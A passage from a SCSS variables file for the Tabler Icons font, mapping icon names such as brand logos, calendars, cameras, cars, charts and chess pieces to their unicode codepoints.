unicode('f5fb');\n$ti-icon-brand-bunpo: unicode('f4cf');\n$ti-icon-brand-c-sharp: unicode('f003');\n$ti-icon-brand-cake: unicode('f7a3');\n$ti-icon-brand-cakephp: unicode('f7af');\n$ti-icon-brand-campaignmonitor: unicode('f328');\n$ti-icon-brand-carbon: unicode('f348');\n$ti-icon-brand-cashapp: unicode('f391');\n$ti-icon-brand-chrome: unicode('ec18');\n$ti-icon-brand-cinema-4d: unicode('fa71');\n$ti-icon-brand-citymapper: unicode('f5fc');\n$ti-icon-brand-cloudflare: unicode('fa4e');\n$ti-icon-brand-codecov: unicode('f329');\n$ti-icon-brand-codepen: unicode('ec6f');\n$ti-icon-brand-codesandbox: unicode('ed6a');\n$ti-icon-brand-cohost: unicode('f5d5');\n$ti-icon-brand-coinbase: unicode('f209');\n$ti-icon-brand-comedy-central: unicode('f217');\n$ti-icon-brand-coreos: unicode('f5fd');\n$ti-icon-brand-couchdb: unicode('f60f');\n$ti-icon-brand-couchsurfing: unicode('f392');\n$ti-icon-brand-cpp: unicode('f5fe');\n$ti-icon-brand-craft: unicode('fa72');\n$ti-icon-brand-crunchbase: unicode('f7e3');\n$ti-icon-brand-css3: unicode('ed6b');\n$ti-icon-brand-ctemplar: unicode('f4d0');\n$ti-icon-brand-cucumber: unicode('ef6c');\n$ti-icon-brand-cupra: unicode('f4d1');\n$ti-icon-brand-cypress: unicode('f333');\n$ti-icon-brand-d3: unicode('f24e');\n$ti-icon-brand-databricks: unicode('fc41');\n$ti-icon-brand-days-counter: unicode('f4d2');\n$ti-icon-brand-dcos: unicode('f32a');\n$ti-icon-brand-debian: unicode('ef57');\n$ti-icon-brand-deezer: unicode('f78b');\n$ti-icon-brand-deliveroo: unicode('f4d3');\n$ti-icon-brand-deno: unicode('f24f');\n$ti-icon-brand-denodo: unicode('f610');\n$ti-icon-brand-deviantart: unicode('ecfb');\n$ti-icon-brand-digg: unicode('fa73');\n$ti-icon-brand-dingtalk: unicode('f5ea');\n$ti-icon-brand-discord: unicode('ece3');\n$ti-icon-brand-discord-filled: unicode('f7e4');\n$ti-icon-brand-disney: unicode('f20a');\n$ti-icon-brand-disqus: unicode('edc9');\n$ti-icon-brand-django: unicode('f349');\n$ti-icon-brand-docker: unicode('edca');\n$ti-icon-brand-doctrine: unicode('ef6d');\n$ti-icon-brand-dolby-digital: unicode('f4d4');\n$ti-icon-brand-douban: unicode('f5ff');\n$ti-icon-brand-dribbble: unicode('ec19');\n$ti-icon-brand-dribbble-filled: unicode('f7e5');\n$ti-icon-brand-drops: unicode('f4d5');\n$ti-icon-brand-drupal: unicode('f393');\n$ti-icon-brand-edge: unicode('ecfc');\n$ti-icon-brand-elastic: unicode('f611');\n$ti-icon-brand-electronic-arts: unicode('fa74');\n$ti-icon-brand-ember: unicode('f497');\n$ti-icon-brand-envato: unicode('f394');\n$ti-icon-brand-etsy: unicode('f654');\n$ti-icon-brand-evernote: unicode('f600');\n$ti-icon-brand-facebook: unicode('ec1a');\n$ti-icon-brand-facebook-filled: unicode('f7e6');\n$ti-icon-brand-feedly: unicode('fa75');\n$ti-icon-brand-figma: unicode('ec93');\n$ti-icon-brand-filezilla: unicode('fa76');\n$ti-icon-brand-finder: unicode('f218');\n$ti-icon-brand-firebase: unicode('ef6e');\n$ti-icon-brand-firefox: unicode('ecfd');\n$ti-icon-brand-fiverr: unicode('f7a4');\n$ti-icon-brand-flickr: unicode('ecfe');\n$ti-icon-brand-flightradar24: unicode('f4d6');\n$ti-icon-brand-flipboard: unicode('f20b');\n$ti-icon-brand-flutter: unicode('f395');\n$ti-icon-brand-fortnite: unicode('f260');\n$ti-icon-brand-foursquare: unicode('ecff');\n$ti-icon-brand-framer: unicode('ec1b');\n$ti-icon-brand-framer-motion: unicode('f78c');\n$ti-icon-brand-funimation: unicode('f655');\n$ti-icon-brand-gatsby: unicode('f396');\n$ti-icon-brand-git: unicode('ef6f');\n$ti-icon-brand-github: unicode('ec1c');\n$ti-icon-brand-github-copilot: unicode('f4a8');\n$ti-icon-brand-github-filled: unicode('f7e7');\n$ti-icon-brand-gitlab: unicode('ec1d');\n$ti-icon-brand-gmail: unicode('efa2');\n$ti-icon-brand-golang: unicode('f78d');\n$ti-icon-brand-google: unicode('ec1f');\n$ti-icon-brand-google-analytics: unicode('edcb');\n$ti-icon-brand-google-big-query: unicode('f612');\n$ti-icon-brand-google-drive: unicode('ec1e');\n$ti-icon-brand-google-filled: unicode('fd1a');\n$ti-icon-brand-google-fit: unicode('f297');\n$ti-icon-brand-google-home: unicode('f601');\n$ti-icon-brand-google-maps: unicode('fa4f');\n$ti-icon-brand-google-one: unicode('f232');\n$ti-icon-brand-google-photos: unicode('f20c');\n$ti-icon-brand-google-play: unicode('ed25');\n$ti-icon-brand-google-podcasts: unicode('f656');\n$ti-icon-brand-grammarly: unicode('f32b');\n$ti-icon-brand-graphql: unicode('f32c');\n$ti-icon-brand-gravatar: unicode('edcc');\n$ti-icon-brand-grindr: unicode('f20d');\n$ti-icon-brand-guardian: unicode('f4fb');\n$ti-icon-brand-gumroad: unicode('f5d6');\n$ti-icon-brand-hbo: unicode('f657');\n$ti-icon-brand-headlessui: unicode('f32d');\n$ti-icon-brand-hexo: unicode('fa50');\n$ti-icon-brand-hipchat: unicode('edcd');\n$ti-icon-brand-html5: unicode('ed6c');\n$ti-icon-brand-inertia: unicode('f34a');\n$ti-icon-brand-instagram: unicode('ec20');\n$ti-icon-brand-intercom: unicode('f1cf');\n$ti-icon-brand-itch: unicode('fa22');\n$ti-icon-brand-javascript: unicode('ef0c');\n$ti-icon-brand-juejin: unicode('f7b0');\n$ti-icon-brand-kako-talk: unicode('fd2d');\n$ti-icon-brand-kbin: unicode('fad0');\n$ti-icon-brand-kick: unicode('fa23');\n$ti-icon-brand-kickstarter: unicode('edce');\n$ti-icon-brand-kotlin: unicode('ed6d');\n$ti-icon-brand-laravel: unicode('f34b');\n$ti-icon-brand-lastfm: unicode('f001');\n$ti-icon-brand-leetcode: unicode('fa51');\n$ti-icon-brand-letterboxd: unicode('fa24');\n$ti-icon-brand-line: unicode('f7e8');\n$ti-icon-brand-linkedin: unicode('ec8c');\n$ti-icon-brand-linktree: unicode('f1e7');\n$ti-icon-brand-linqpad: unicode('f562');\n$ti-icon-brand-livewire: unicode('fd76');\n$ti-icon-brand-loom: unicode('ef70');\n$ti-icon-brand-mailgun: unicode('f32e');\n$ti-icon-brand-mantine: unicode('f32f');\n$ti-icon-brand-mastercard: unicode('ef49');\n$ti-icon-brand-mastodon: unicode('f250');\n$ti-icon-brand-matrix: unicode('f5eb');\n$ti-icon-brand-mcdonalds: unicode('f251');\n$ti-icon-brand-medium: unicode('ec70');\n$ti-icon-brand-meetup: unicode('fc6a');\n$ti-icon-brand-mercedes: unicode('f072');\n$ti-icon-brand-messenger: unicode('ec71');\n$ti-icon-brand-meta: unicode('efb0');\n$ti-icon-brand-minecraft: unicode('faef');\n$ti-icon-brand-miniprogram: unicode('f602');\n$ti-icon-brand-mixpanel: unicode('f397');\n$ti-icon-brand-monday: unicode('f219');\n$ti-icon-brand-mongodb: unicode('f613');\n$ti-icon-brand-my-oppo: unicode('f4d7');\n$ti-icon-brand-mysql: unicode('f614');\n$ti-icon-brand-national-geographic: unicode('f603');\n$ti-icon-brand-nem: unicode('f5a1');\n$ti-icon-brand-netbeans: unicode('ef71');\n$ti-icon-brand-netease-music: unicode('f604');\n$ti-icon-brand-netflix: unicode('edcf');\n$ti-icon-brand-nexo: unicode('f5a2');\n$ti-icon-brand-nextcloud: unicode('f4d8');\n$ti-icon-brand-nextjs: unicode('f0dd');\n$ti-icon-brand-nodejs: unicode('fae0');\n$ti-icon-brand-nord-vpn: unicode('f37f');\n$ti-icon-brand-notion: unicode('ef7b');\n$ti-icon-brand-npm: unicode('f569');\n$ti-icon-brand-nuxt: unicode('f0de');\n$ti-icon-brand-nytimes: unicode('ef8d');\n$ti-icon-brand-oauth: unicode('fa52');\n$ti-icon-brand-office: unicode('f398');\n$ti-icon-brand-ok-ru: unicode('f399');\n$ti-icon-brand-onedrive: unicode('f5d7');\n$ti-icon-brand-onlyfans: unicode('f605');\n$ti-icon-brand-open-source: unicode('edd0');\n$ti-icon-brand-openai: unicode('f78e');\n$ti-icon-brand-openvpn: unicode('f39a');\n$ti-icon-brand-opera: unicode('ec21');\n$ti-icon-brand-pagekit: unicode('edd1');\n$ti-icon-brand-parsinta: unicode('fc42');\n$ti-icon-brand-patreon: unicode('edd2');\n$ti-icon-brand-patreon-filled: unicode('fcff');\n$ti-icon-brand-paypal: unicode('ec22');\n$ti-icon-brand-paypal-filled: unicode('f7e9');\n$ti-icon-brand-paypay: unicode('f5ec');\n$ti-icon-brand-peanut: unicode('f39b');\n$ti-icon-brand-pepsi: unicode('f261');\n$ti-icon-brand-php: unicode('ef72');\n$ti-icon-brand-picsart: unicode('f4d9');\n$ti-icon-brand-pinterest: unicode('ec8d');\n$ti-icon-brand-planetscale: unicode('f78f');\n$ti-icon-brand-pnpm: unicode('fd77');\n$ti-icon-brand-pocket: unicode('ed00');\n$ti-icon-brand-polymer: unicode('f498');\n$ti-icon-brand-powershell: unicode('f5ed');\n$ti-icon-brand-printables: unicode('fd1b');\n$ti-icon-brand-prisma: unicode('f499');\n$ti-icon-brand-producthunt: unicode('edd3');\n$ti-icon-brand-pushbullet: unicode('f330');\n$ti-icon-brand-pushover: unicode('f20e');\n$ti-icon-brand-python: unicode('ed01');\n$ti-icon-brand-qq: unicode('f606');\n$ti-icon-brand-radix-ui: unicode('f790');\n$ti-icon-brand-react: unicode('f34c');\n$ti-icon-brand-react-native: unicode('ef73');\n$ti-icon-brand-reason: unicode('f49a');\n$ti-icon-brand-reddit: unicode('ec8e');\n$ti-icon-brand-redhat: unicode('f331');\n$ti-icon-brand-redux: unicode('f3a8');\n$ti-icon-brand-revolut: unicode('f4da');\n$ti-icon-brand-rumble: unicode('fad1');\n$ti-icon-brand-rust: unicode('fa53');\n$ti-icon-brand-safari: unicode('ec23');\n$ti-icon-brand-samsungpass: unicode('f4db');\n$ti-icon-brand-sass: unicode('edd4');\n$ti-icon-brand-sentry: unicode('edd5');\n$ti-icon-brand-sharik: unicode('f4dc');\n$ti-icon-brand-shazam: unicode('edd6');\n$ti-icon-brand-shopee: unicode('f252');\n$ti-icon-brand-sketch: unicode('ec24');\n$ti-icon-brand-skype: unicode('ed02');\n$ti-icon-brand-slack: unicode('ec72');\n$ti-icon-brand-snapchat: unicode('ec25');\n$ti-icon-brand-snapseed: unicode('f253');\n$ti-icon-brand-snowflake: unicode('f615');\n$ti-icon-brand-socket-io: unicode('f49b');\n$ti-icon-brand-solidjs: unicode('f5ee');\n$ti-icon-brand-soundcloud: unicode('ed6e');\n$ti-icon-brand-spacehey: unicode('f4fc');\n$ti-icon-brand-speedtest: unicode('fa77');\n$ti-icon-brand-spotify: unicode('ed03');\n$ti-icon-brand-spotify-filled: unicode('fe86');\n$ti-icon-brand-stackoverflow: unicode('ef58');\n$ti-icon-brand-stackshare: unicode('f607');\n$ti-icon-brand-steam: unicode('ed6f');\n$ti-icon-brand-stocktwits: unicode('fd78');\n$ti-icon-brand-storj: unicode('fa54');\n$ti-icon-brand-storybook: unicode('f332');\n$ti-icon-brand-storytel: unicode('f608');\n$ti-icon-brand-strava: unicode('f254');\n$ti-icon-brand-stripe: unicode('edd7');\n$ti-icon-brand-sublime-text: unicode('ef74');\n$ti-icon-brand-sugarizer: unicode('f7a5');\n$ti-icon-brand-supabase: unicode('f6d3');\n$ti-icon-brand-superhuman: unicode('f50c');\n$ti-icon-brand-supernova: unicode('f49c');\n$ti-icon-brand-surfshark: unicode('f255');\n$ti-icon-brand-svelte: unicode('f0df');\n$ti-icon-brand-swift: unicode('fa55');\n$ti-icon-brand-symfony: unicode('f616');\n$ti-icon-brand-tabler: unicode('ec8f');\n$ti-icon-brand-tailwind: unicode('eca1');\n$ti-icon-brand-taobao: unicode('f5ef');\n$ti-icon-brand-teams: unicode('fadf');\n$ti-icon-brand-ted: unicode('f658');\n$ti-icon-brand-telegram: unicode('ec26');\n$ti-icon-brand-terraform: unicode('fa56');\n$ti-icon-brand-tether: unicode('f5a3');\n$ti-icon-brand-thingiverse: unicode('fd1c');\n$ti-icon-brand-threads: unicode('fb02');\n$ti-icon-brand-threejs: unicode('f5f0');\n$ti-icon-brand-tidal: unicode('ed70');\n$ti-icon-brand-tiktok: unicode('ec73');\n$ti-icon-brand-tiktok-filled: unicode('f7ea');\n$ti-icon-brand-tinder: unicode('ed71');\n$ti-icon-brand-topbuzz: unicode('f50d');\n$ti-icon-brand-torchain: unicode('f5a4');\n$ti-icon-brand-toyota: unicode('f262');\n$ti-icon-brand-trello: unicode('f39d');\n$ti-icon-brand-tripadvisor: unicode('f002');\n$ti-icon-brand-tumblr: unicode('ed04');\n$ti-icon-brand-twilio: unicode('f617');\n$ti-icon-brand-twitch: unicode('ed05');\n$ti-icon-brand-twitter: unicode('ec27');\n$ti-icon-brand-twitter-filled: unicode('f7eb');\n$ti-icon-brand-typescript: unicode('f5f1');\n$ti-icon-brand-uber: unicode('ef75');\n$ti-icon-brand-ubuntu: unicode('ef59');\n$ti-icon-brand-unity: unicode('f49d');\n$ti-icon-brand-unsplash: unicode('edd8');\n$ti-icon-brand-upwork: unicode('f39e');\n$ti-icon-brand-valorant: unicode('f39f');\n$ti-icon-brand-vercel: unicode('ef24');\n$ti-icon-brand-vimeo: unicode('ed06');\n$ti-icon-brand-vinted: unicode('f20f');\n$ti-icon-brand-visa: unicode('f380');\n$ti-icon-brand-visual-studio: unicode('ef76');\n$ti-icon-brand-vite: unicode('f5f2');\n$ti-icon-brand-vivaldi: unicode('f210');\n$ti-icon-brand-vk: unicode('ed72');\n$ti-icon-brand-vlc: unicode('fa78');\n$ti-icon-brand-volkswagen: unicode('f50e');\n$ti-icon-brand-vsco: unicode('f334');\n$ti-icon-brand-vscode: unicode('f3a0');\n$ti-icon-brand-vue: unicode('f0e0');\n$ti-icon-brand-walmart: unicode('f211');\n$ti-icon-brand-waze: unicode('f5d8');\n$ti-icon-brand-webflow: unicode('f2d2');\n$ti-icon-brand-wechat: unicode('f5f3');\n$ti-icon-brand-weibo: unicode('f609');\n$ti-icon-brand-whatsapp: unicode('ec74');\n$ti-icon-brand-wikipedia: unicode('fa79');\n$ti-icon-brand-windows: unicode('ecd8');\n$ti-icon-brand-windy: unicode('f4dd');\n$ti-icon-brand-wish: unicode('f212');\n$ti-icon-brand-wix: unicode('f3a1');\n$ti-icon-brand-wordpress: unicode('f2d3');\n$ti-icon-brand-x: unicode('fc0f');\n$ti-icon-brand-x-filled: unicode('fc21');\n$ti-icon-brand-xamarin: unicode('fa7a');\n$ti-icon-brand-xbox: unicode('f298');\n$ti-icon-brand-xdeep: unicode('fc10');\n$ti-icon-brand-xing: unicode('f21a');\n$ti-icon-brand-yahoo: unicode('ed73');\n$ti-icon-brand-yandex: unicode('fae1');\n$ti-icon-brand-yarn: unicode('fd79');\n$ti-icon-brand-yatse: unicode('f213');\n$ti-icon-brand-ycombinator: unicode('edd9');\n$ti-icon-brand-youtube: unicode('ec90');\n$ti-icon-brand-youtube-filled: unicode('fc22');\n$ti-icon-brand-youtube-kids: unicode('f214');\n$ti-icon-brand-zalando: unicode('f49e');\n$ti-icon-brand-zapier: unicode('f49f');\n$ti-icon-brand-zeit: unicode('f335');\n$ti-icon-brand-zhihu: unicode('f60a');\n$ti-icon-brand-zoom: unicode('f215');\n$ti-icon-brand-zulip: unicode('f4de');\n$ti-icon-brand-zwift: unicode('f216');\n$ti-icon-bread: unicode('efa3');\n$ti-icon-bread-filled: unicode('fe85');\n$ti-icon-bread-off: unicode('f3cb');\n$ti-icon-briefcase: unicode('ea46');\n$ti-icon-briefcase-2: unicode('fb03');\n$ti-icon-briefcase-2-filled: unicode('fe84');\n$ti-icon-briefcase-filled: unicode('fd00');\n$ti-icon-briefcase-off: unicode('f3cc');\n$ti-icon-brightness: unicode('eb7f');\n$ti-icon-brightness-2: unicode('ee19');\n$ti-icon-brightness-auto: unicode('fd99');\n$ti-icon-brightness-auto-filled: unicode('fe83');\n$ti-icon-brightness-down: unicode('eb7d');\n$ti-icon-brightness-down-filled: unicode('fb23');\n$ti-icon-brightness-filled: unicode('fe82');\n$ti-icon-brightness-half: unicode('ee1a');\n$ti-icon-brightness-off: unicode('f3cd');\n$ti-icon-brightness-up: unicode('eb7e');\n$ti-icon-brightness-up-filled: unicode('fb24');\n$ti-icon-broadcast: unicode('f1e9');\n$ti-icon-broadcast-off: unicode('f1e8');\n$ti-icon-browser: unicode('ebb7');\n$ti-icon-browser-check: unicode('efd6');\n$ti-icon-browser-off: unicode('f0c1');\n$ti-icon-browser-plus: unicode('efd7');\n$ti-icon-browser-x: unicode('efd8');\n$ti-icon-brush: unicode('ebb8');\n$ti-icon-brush-off: unicode('f0c2');\n$ti-icon-bucket: unicode('ea47');\n$ti-icon-bucket-droplet: unicode('f56a');\n$ti-icon-bucket-off: unicode('f103');\n$ti-icon-bug: unicode('ea48');\n$ti-icon-bug-filled: unicode('fd01');\n$ti-icon-bug-off: unicode('f0c3');\n$ti-icon-building: unicode('ea4f');\n$ti-icon-building-arch: unicode('ea49');\n$ti-icon-building-bank: unicode('ebe2');\n$ti-icon-building-bridge: unicode('ea4b');\n$ti-icon-building-bridge-2: unicode('ea4a');\n$ti-icon-building-broadcast-tower: unicode('f4be');\n$ti-icon-building-broadcast-tower-filled: unicode('fe81');\n$ti-icon-building-carousel: unicode('ed87');\n$ti-icon-building-castle: unicode('ed88');\n$ti-icon-building-church: unicode('ea4c');\n$ti-icon-building-circus: unicode('f4bf');\n$ti-icon-building-community: unicode('ebf6');\n$ti-icon-building-cottage: unicode('ee1b');\n$ti-icon-building-estate: unicode('f5a5');\n$ti-icon-building-factory: unicode('ee1c');\n$ti-icon-building-factory-2: unicode('f082');\n$ti-icon-building-fortress: unicode('ed89');\n$ti-icon-building-hospital: unicode('ea4d');\n$ti-icon-building-lighthouse: unicode('ed8a');\n$ti-icon-building-monument: unicode('ed26');\n$ti-icon-building-mosque: unicode('fa57');\n$ti-icon-building-pavilion: unicode('ebf7');\n$ti-icon-building-skyscraper: unicode('ec39');\n$ti-icon-building-stadium: unicode('f641');\n$ti-icon-building-store: unicode('ea4e');\n$ti-icon-building-tunnel: unicode('f5a6');\n$ti-icon-building-warehouse: unicode('ebe3');\n$ti-icon-building-wind-turbine: unicode('f4c0');\n$ti-icon-bulb: unicode('ea51');\n$ti-icon-bulb-filled: unicode('f66a');\n$ti-icon-bulb-off: unicode('ea50');\n$ti-icon-bulldozer: unicode('ee1d');\n$ti-icon-burger: unicode('fcb4');\n$ti-icon-bus: unicode('ebe4');\n$ti-icon-bus-off: unicode('f3ce');\n$ti-icon-bus-stop: unicode('f2d4');\n$ti-icon-businessplan: unicode('ee1e');\n$ti-icon-butterfly: unicode('efd9');\n$ti-icon-cactus: unicode('f21b');\n$ti-icon-cactus-filled: unicode('fb25');\n$ti-icon-cactus-off: unicode('f3cf');\n$ti-icon-cake: unicode('f00f');\n$ti-icon-cake-off: unicode('f104');\n$ti-icon-calculator: unicode('eb80');\n$ti-icon-calculator-filled: unicode('fb26');\n$ti-icon-calculator-off: unicode('f0c4');\n$ti-icon-calendar: unicode('ea53');\n$ti-icon-calendar-bolt: unicode('f822');\n$ti-icon-calendar-cancel: unicode('f823');\n$ti-icon-calendar-check: unicode('f824');\n$ti-icon-calendar-clock: unicode('fd2e');\n$ti-icon-calendar-code: unicode('f825');\n$ti-icon-calendar-cog: unicode('f826');\n$ti-icon-calendar-dollar: unicode('f827');\n$ti-icon-calendar-dot: unicode('fd3e');\n$ti-icon-calendar-down: unicode('f828');\n$ti-icon-calendar-due: unicode('f621');\n$ti-icon-calendar-event: unicode('ea52');\n$ti-icon-calendar-exclamation: unicode('f829');\n$ti-icon-calendar-filled: unicode('fb27');\n$ti-icon-calendar-heart: unicode('f82a');\n$ti-icon-calendar-minus: unicode('ebb9');\n$ti-icon-calendar-month: unicode('fd2f');\n$ti-icon-calendar-off: unicode('ee1f');\n$ti-icon-calendar-pause: unicode('f82b');\n$ti-icon-calendar-pin: unicode('f82c');\n$ti-icon-calendar-plus: unicode('ebba');\n$ti-icon-calendar-question: unicode('f82d');\n$ti-icon-calendar-repeat: unicode('fad2');\n$ti-icon-calendar-sad: unicode('fd1d');\n$ti-icon-calendar-search: unicode('f82e');\n$ti-icon-calendar-share: unicode('f82f');\n$ti-icon-calendar-smile: unicode('fd1e');\n$ti-icon-calendar-star: unicode('f830');\n$ti-icon-calendar-stats: unicode('ee20');\n$ti-icon-calendar-time: unicode('ee21');\n$ti-icon-calendar-up: unicode('f831');\n$ti-icon-calendar-user: unicode('fd1f');\n$ti-icon-calendar-week: unicode('fd30');\n$ti-icon-calendar-x: unicode('f832');\n$ti-icon-camera: unicode('ea54');\n$ti-icon-camera-bolt: unicode('f833');\n$ti-icon-camera-cancel: unicode('f834');\n$ti-icon-camera-check: unicode('f835');\n$ti-icon-camera-code: unicode('f836');\n$ti-icon-camera-cog: unicode('f837');\n$ti-icon-camera-dollar: unicode('f838');\n$ti-icon-camera-down: unicode('f839');\n$ti-icon-camera-exclamation: unicode('f83a');\n$ti-icon-camera-filled: unicode('fa37');\n$ti-icon-camera-heart: unicode('f83b');\n$ti-icon-camera-minus: unicode('ec3a');\n$ti-icon-camera-off: unicode('ecee');\n$ti-icon-camera-pause: unicode('f83c');\n$ti-icon-camera-pin: unicode('f83d');\n$ti-icon-camera-plus: unicode('ec3b');\n$ti-icon-camera-question: unicode('f83e');\n$ti-icon-camera-rotate: unicode('ee22');\n$ti-icon-camera-search: unicode('f83f');\n$ti-icon-camera-selfie: unicode('ee23');\n$ti-icon-camera-share: unicode('f840');\n$ti-icon-camera-star: unicode('f841');\n$ti-icon-camera-up: unicode('f842');\n$ti-icon-camera-x: unicode('f843');\n$ti-icon-camper: unicode('fa25');\n$ti-icon-campfire: unicode('f5a7');\n$ti-icon-campfire-filled: unicode('fb28');\n$ti-icon-candle: unicode('efc6');\n$ti-icon-candle-filled: unicode('fc23');\n$ti-icon-candy: unicode('ef0d');\n$ti-icon-candy-off: unicode('f0c5');\n$ti-icon-cane: unicode('f50f');\n$ti-icon-cannabis: unicode('f4c1');\n$ti-icon-capsule: unicode('fae3');\n$ti-icon-capsule-filled: unicode('fc24');\n$ti-icon-capsule-horizontal: unicode('fae2');\n$ti-icon-capsule-horizontal-filled: unicode('fc25');\n$ti-icon-capture: unicode('ec3c');\n$ti-icon-capture-filled: unicode('fb29');\n$ti-icon-capture-off: unicode('f0c6');\n$ti-icon-car: unicode('ebbb');\n$ti-icon-car-4wd: unicode('fdb8');\n$ti-icon-car-crane: unicode('ef25');\n$ti-icon-car-crash: unicode('efa4');\n$ti-icon-car-fan: unicode('fdb3');\n$ti-icon-car-fan-1: unicode('fdb7');\n$ti-icon-car-fan-2: unicode('fdb6');\n$ti-icon-car-fan-3: unicode('fdb5');\n$ti-icon-car-fan-auto: unicode('fdb4');\n$ti-icon-car-garage: unicode('fc77');\n$ti-icon-car-off: unicode('f0c7');\n$ti-icon-car-suv: unicode('fc8b');\n$ti-icon-car-turbine: unicode('f4fd');\n$ti-icon-caravan: unicode('ec7c');\n$ti-icon-cardboards: unicode('ed74');\n$ti-icon-cardboards-off: unicode('f0c8');\n$ti-icon-cards: unicode('f510');\n$ti-icon-cards-filled: unicode('fc26');\n$ti-icon-caret-down: unicode('eb5d');\n$ti-icon-caret-down-filled: unicode('fb2a');\n$ti-icon-caret-left: unicode('eb5e');\n$ti-icon-caret-left-filled: unicode('fb2b');\n$ti-icon-caret-left-right: unicode('fc43');\n$ti-icon-caret-left-right-filled: unicode('fd02');\n$ti-icon-caret-right: unicode('eb5f');\n$ti-icon-caret-right-filled: unicode('fb2c');\n$ti-icon-caret-up: unicode('eb60');\n$ti-icon-caret-up-down: unicode('fc44');\n$ti-icon-caret-up-down-filled: unicode('fd03');\n$ti-icon-caret-up-filled: unicode('fb2d');\n$ti-icon-carousel-horizontal: unicode('f659');\n$ti-icon-carousel-horizontal-filled: unicode('fa92');\n$ti-icon-carousel-vertical: unicode('f65a');\n$ti-icon-carousel-vertical-filled: unicode('fa93');\n$ti-icon-carrot: unicode('f21c');\n$ti-icon-carrot-off: unicode('f3d0');\n$ti-icon-cash: unicode('ea55');\n$ti-icon-cash-banknote: unicode('ee25');\n$ti-icon-cash-banknote-filled: unicode('fe80');\n$ti-icon-cash-banknote-off: unicode('ee24');\n$ti-icon-cash-off: unicode('f105');\n$ti-icon-cast: unicode('ea56');\n$ti-icon-cast-off: unicode('f0c9');\n$ti-icon-cat: unicode('f65b');\n$ti-icon-category: unicode('f1f6');\n$ti-icon-category-2: unicode('f1f5');\n$ti-icon-category-filled: unicode('fb2e');\n$ti-icon-category-minus: unicode('fd20');\n$ti-icon-category-plus: unicode('fd21');\n$ti-icon-ce: unicode('ed75');\n$ti-icon-ce-off: unicode('f0ca');\n$ti-icon-cell: unicode('f05f');\n$ti-icon-cell-signal-1: unicode('f083');\n$ti-icon-cell-signal-2: unicode('f084');\n$ti-icon-cell-signal-3: unicode('f085');\n$ti-icon-cell-signal-4: unicode('f086');\n$ti-icon-cell-signal-5: unicode('f087');\n$ti-icon-cell-signal-off: unicode('f088');\n$ti-icon-certificate: unicode('ed76');\n$ti-icon-certificate-2: unicode('f073');\n$ti-icon-certificate-2-off: unicode('f0cb');\n$ti-icon-certificate-off: unicode('f0cc');\n$ti-icon-chair-director: unicode('f2d5');\n$ti-icon-chalkboard: unicode('f34d');\n$ti-icon-chalkboard-off: unicode('f3d1');\n$ti-icon-charging-pile: unicode('ee26');\n$ti-icon-chart-arcs: unicode('ee28');\n$ti-icon-chart-arcs-3: unicode('ee27');\n$ti-icon-chart-area: unicode('ea58');\n$ti-icon-chart-area-filled: unicode('f66b');\n$ti-icon-chart-area-line: unicode('ea57');\n$ti-icon-chart-area-line-filled: unicode('f66c');\n$ti-icon-chart-arrows: unicode('ee2a');\n$ti-icon-chart-arrows-vertical: unicode('ee29');\n$ti-icon-chart-bar: unicode('ea59');\n$ti-icon-chart-bar-off: unicode('f3d2');\n$ti-icon-chart-bubble: unicode('ec75');\n$ti-icon-chart-bubble-filled: unicode('f66d');\n$ti-icon-chart-candle: unicode('ea5a');\n$ti-icon-chart-candle-filled: unicode('f66e');\n$ti-icon-chart-circles: unicode('ee2b');\n$ti-icon-chart-donut: unicode('ea5b');\n$ti-icon-chart-donut-2: unicode('ee2c');\n$ti-icon-chart-donut-3: unicode('ee2d');\n$ti-icon-chart-donut-4: unicode('ee2e');\n$ti-icon-chart-donut-filled: unicode('f66f');\n$ti-icon-chart-dots: unicode('ee2f');\n$ti-icon-chart-dots-2: unicode('f097');\n$ti-icon-chart-dots-3: unicode('f098');\n$ti-icon-chart-dots-filled: unicode('fd04');\n$ti-icon-chart-grid-dots: unicode('f4c2');\n$ti-icon-chart-grid-dots-filled: unicode('fd05');\n$ti-icon-chart-histogram: unicode('f65c');\n$ti-icon-chart-infographic: unicode('ee30');\n$ti-icon-chart-line: unicode('ea5c');\n$ti-icon-chart-pie: unicode('ea5d');\n$ti-icon-chart-pie-2: unicode('ee31');\n$ti-icon-chart-pie-3: unicode('ee32');\n$ti-icon-chart-pie-4: unicode('ee33');\n$ti-icon-chart-pie-filled: unicode('f670');\n$ti-icon-chart-pie-off: unicode('f3d3');\n$ti-icon-chart-ppf: unicode('f618');\n$ti-icon-chart-radar: unicode('ed77');\n$ti-icon-chart-sankey: unicode('f619');\n$ti-icon-chart-scatter: unicode('fd93');\n$ti-icon-chart-scatter-3d: unicode('fd92');\n$ti-icon-chart-treemap: unicode('f381');\n$ti-icon-check: unicode('ea5e');\n$ti-icon-checkbox: unicode('eba6');\n$ti-icon-checklist: unicode('f074');\n$ti-icon-checks: unicode('ebaa');\n$ti-icon-checkup-list: unicode('ef5a');\n$ti-icon-cheese: unicode('ef26');\n$ti-icon-chef-hat: unicode('f21d');\n$ti-icon-chef-hat-off: unicode('f3d4');\n$ti-icon-cherry: unicode('f511');\n$ti-icon-cherry-filled: unicode('f728');\n$ti-icon-chess: unicode('f382');\n$ti-icon-chess-bishop: unicode('f56b');\n$ti-icon-chess-bishop-filled: unicode('f729');\n$ti-icon-chess-filled: unicode('f72a');\n$ti-icon-chess-king: unicode('f56c');\n$ti-icon-chess-king-filled: unicode('f72b');\n$ti-icon-chess-knight: unicode('f56d');\n$ti-icon-chess-knight-filled: unicode('f72c');\n$ti-icon-chess-queen: unicode('f56e');\n$ti-icon-chess-queen-filled: unicode('f72d');\n$ti-icon-chess-rook: unicode('f56f');\n$ti-icon-chess-rook-filled: unicode('f72e');\n$ti-icon-chevron-compact-down: unicode('faf0');\n$ti-icon-chevron-compact-left: unicode('faf1');\n$ti-icon-chevron-compact-right: unicode('faf2');\n$ti-icon-chevron-compact-up: unicode('faf3');\n$ti-icon-chevron-down: unicode('ea5f');\n$ti-icon-chevron-down-left: unicode('ed09');\n$ti-icon-chevron-down-right: unicode('ed0a');\n$ti-icon-chevron-left: unicode('ea60');\n$ti-icon-chevron-left-pipe: unicode('fae4');\n$ti-icon-chevron-right: unicode('ea61');\n$ti-icon-chevron-right-pipe: unicode('fae5');\n$ti-icon-chevron-up: unicode('ea62');\n$ti-icon-chevron-up-left: unicode('ed0b');\n$ti-icon-chevron-up-right: unicode('ed0c');\n$ti-icon-chevrons-down: unicode('ea63');\n$ti-icon-chevrons-down-left: unicode('ed0d');\n$ti-icon-chevrons-down-right: unicode('ed0e');\n$ti-icon-chevrons-left: unicode('ea64');\n$ti-icon-chevrons-right: 